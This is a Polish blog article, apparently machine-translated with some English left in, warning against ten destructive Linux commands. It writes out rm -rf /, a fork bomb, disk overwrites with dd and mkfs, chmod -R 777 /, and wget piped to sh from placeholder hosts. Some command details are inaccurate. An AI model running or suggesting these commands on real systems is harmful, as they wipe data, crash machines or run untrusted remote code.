10 śmiertelnych poleceń, których nigdy nie powinieneś uruchamiać w systemie Linux


System operacyjny Linux zapewnia użytkownikom większą niezależność w porównaniu do systemu Windows lub dowolnego innego systemu operacyjnego. Podczas gdy niektórzy doświadczeni programiści, system operacyjny Linux zapewnia swobodę wykonywania operacji, może również naruszać swobodę zapewnianą tym twórcom. Każda technologia ma swoje zalety i wady, podobnie Linux. Niezwykle ważne jest, aby użytkownik wykonując polecenie miał wystarczającą wiedzę na temat bezpiecznych i śmiertelnych poleceń. Omówimy tutaj śmiertelne polecenia, których nigdy nie powinieneś wykonywać bez pełnego zrozumienia ich znaczenia.

 

1. Usuwanie rekurencyjne

 

Jednym z najszybszych sposobów usunięcia folderu i jego zawartości jest polecenie rm -rf. Zyskał popularność na przestrzeni lat, ponieważ przezwyciężył błąd występujący w systemie Windows podczas usuwania pliku lub folderu. To polecenie usuwa wszystko z pliku, folderu lub dysku twardego, na którym jest uruchomione. Złóżmy polecenie i zrozummy, co tak naprawdę oznacza:

 

rm - Usuń wszystkie pliki z lokalizacji podanych

 

-rf - To polecenie jest dalej podzielone na dwie części: r i f. r oznacza rekurencyjne usuwanie wszystkich plików, podczas gdy f oznacza siłę, która oznacza, że ​​usuwamy wszystkie pliki bez monitowania użytkownika.

 

Istnieje wiele odmian tego polecenia dostępnych w Internecie. Ważne jest, aby zrozumieć, że należy wiedzieć, co robi polecenie po uruchomieniu w określonym folderze, w przeciwnym razie dane mogą zostać utracone. Dane utracone z tego polecenia nie mogą być odzyskane w żaden sposób.

 
     
  • rm - To polecenie służy do usuwania plików wszystkich plików ze ścieżki, którą podasz
  •  
  • rm -r - To polecenie służy do rekurencyjnego usuwania plików ze wszystkich katalogów i podkatalogów w systemie operacyjnym Linux.
  •  
  • rm -f - To polecenie służy do usuwania plików z podanej ścieżki bez monitowania użytkownika. Obejmuje to również usunięcie „plików tylko do odczytu”.
  •  
  • rm -rf / - Jest to jedno z najbardziej niebezpiecznych poleceń, ponieważ / odnosi się do katalogu głównego systemu operacyjnego. Po uruchomieniu tego polecenia wymusza i rekurencyjnie usuwa całą zawartość katalogu głównego. W ten sposób wszystkie twoje katalogi i podkatalogi zostaną usunięte, a dane zostaną utracone.
  •  
  • rm -rf * - To polecenie wymusza usunięcie wszystkich danych z katalogu roboczego
  •  
  • rm -rf. - To polecenie wymusza usuwanie plików z bieżącego katalogu roboczego, a także podkatalogów. Usuwa również wszystkie pliki konfiguracyjne z katalogu.
  •  
 

2. Fork Bomb

 

Ponieważ Linux działa na Bash, ważne jest, aby zrozumieć, co polecenie zrobi w twoim systemie przed jego wykonaniem. Jest to prosta funkcja bash, która po uruchomieniu tworzy kopie siebie, która z kolei tworzy kolejny zestaw kopii. To zużywa czas procesora i pamięć. Dlatego działa rekurencyjnie, dopóki system nie zawiesi się.

:(){:|:&};:
 

3.Zastąp dysk twardy

 

Jeśli wykonałeś następujące polecenie przez pomyłkę lub przypadkowo na dysku twardym, odzyskiwanie jest całkowicie niemożliwe.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.
 

4. Dysk twardy Implode

 

Podobnie jak powiedzenie „Istnieje więcej niż jeden sposób na skórowanie kota”, istnieje więcej niż jeden sposób na zniszczenie dysku twardego. W każdym systemie Linux dev / null jest specjalną lokalizacją oznaczoną jako czarna dziura. Cokolwiek przeniesione do tej czarnej dziury jest zniszczone. Jeśli przypadkowo przeniesiesz swoje dane do tego folderu, Twoje dane i tak nie zostaną odzyskane.

mv /home/root/*  dev/null
 

Powyższe polecenie przenosi wszystkie dane z folderu home / root do czarnej dziury, powodując w ten sposób utratę danych. Podzielmy polecenie, aby zrozumieć, co robi każda sekcja.

mv - This command is used for moving a folder to another location
 

/ home / root / * - To jest lokalizacja folderu, który ma zostać przeniesiony

 

dev / null - Specjalna lokalizacja oznaczona jako czarna dziura

 

Dlatego należy zachować ostrożność podczas uruchamiania polecenia move. Upewnij się, że lokalizacja, do której przenosisz folder, istnieje w systemie.

 

5. Pobierz złośliwy skrypt

 

Wszyscy wiemy o zaletach polecenia „wget” w Linuksie, ale nie wiemy, że może on pobierać złośliwe skrypty i wirusy, a także przydatne oprogramowanie. Jeśli przypadkowo uruchomisz jedno z poniższych poleceń, zrozumiesz, o co w tym wszystkim chodzi.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh
 

Wyżej wymienione polecenia pobierają zawartość z podanego adresu URL i uruchamiają pobrany skrypt.

 

6. Formatuj dysk twardy

 

Istnieje inne polecenie, aby wymazać dysk twardy i uczynić go nowym. Powinny być używane tylko w przypadkach, gdy masz kopię zapasową danych w chmurze lub na urządzeniu zewnętrznym.

mkfs.ext3 /dev/sda
 

Uruchomienie tego polecenia jest identyczne z uruchomieniem pełnego formatu na dysku C w systemie Windows, w którym cały plik zostanie wyczyszczony z dysku i jest gotowy do nowej instalacji. Aby ułatwić ci zrozumienie. Podzielmy to polecenie.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.
 

Razem, gdy to polecenie zostanie wykonane, formatuje określoną partycję na dysku twardym i formatuje ją zgodnie z określonym systemem plików, który jest ext3 w wyżej wymienionym poleceniu. Dlatego bardzo ważne jest, aby zrozumieć, co robi polecenie przed uruchomieniem w systemie i utratą wszystkich danych.

 

7. Zawartość pliku Flush

 

Polecenie opróżniania zawartości pliku jest łatwe i można je wykonać w dowolnej instancji.

>file
 

Jeśli kiedykolwiek wykonałeś jakiekolwiek polecenie wyżej wymienionego typu, zobaczyłbyś, że zawartość określonego pliku musiała zostać wyczyszczona. „>” Jest odpowiedzialne za opróżnienie zawartości pliku, dlatego dokładnie sprawdź wykonywane polecenie.

 

8. Edytuj poprzednie polecenie

 

To polecenie jest błogosławieństwem i przekleństwem. Chociaż ułatwia to, aby nie wpisywać ponownie wszystkich poprzednich poleceń i wykonać je, może również przenosić złośliwą zawartość do poprzednio uruchomionego polecenia.Dlatego musisz się upewnić, czy możesz użyć tego polecenia.

^foo^bar
 

9. Napisz losowe śmieci na dysk twardy

 

Jeśli kiedykolwiek spotkałeś się z wymienionym poniżej poleceniem, gratulacje, być może zauważyłeś, że losowe śmieci są zapisywane na dysku twardym, jeśli jesteś wystarczająco szalony, aby wykonać to polecenie. Następstwem tego polecenia jest to, że twój system nie zostanie odzyskany.

dd if=/dev/random of=/dev/sda
 

10. Chmod -R 777 /

 

To polecenie nie ma fizycznego wpływu na system, ponieważ wszystkie inne polecenia działają zgodnie z opisem w każdej sekcji, ale stanowi to naruszenie bezpieczeństwa systemu. Wykonując to polecenie, zapewniasz wszystkim użytkownikom systemu możliwość odczytu, zapisu i wykonywania danych w systemie plików. Dlatego używaj tego polecenia mądrze.

 

Mam nadzieję, że te szczegółowe informacje o śmiertelnych poleceniach zapobiegną utracie danych z systemu. Daj nam znać w sekcji komentarzy poniżej, czy to ci pomogło, czy nie.

Komentarze
KD743

Dzięki za artykuł! Mam na reszcie zajęcie na wieczory
.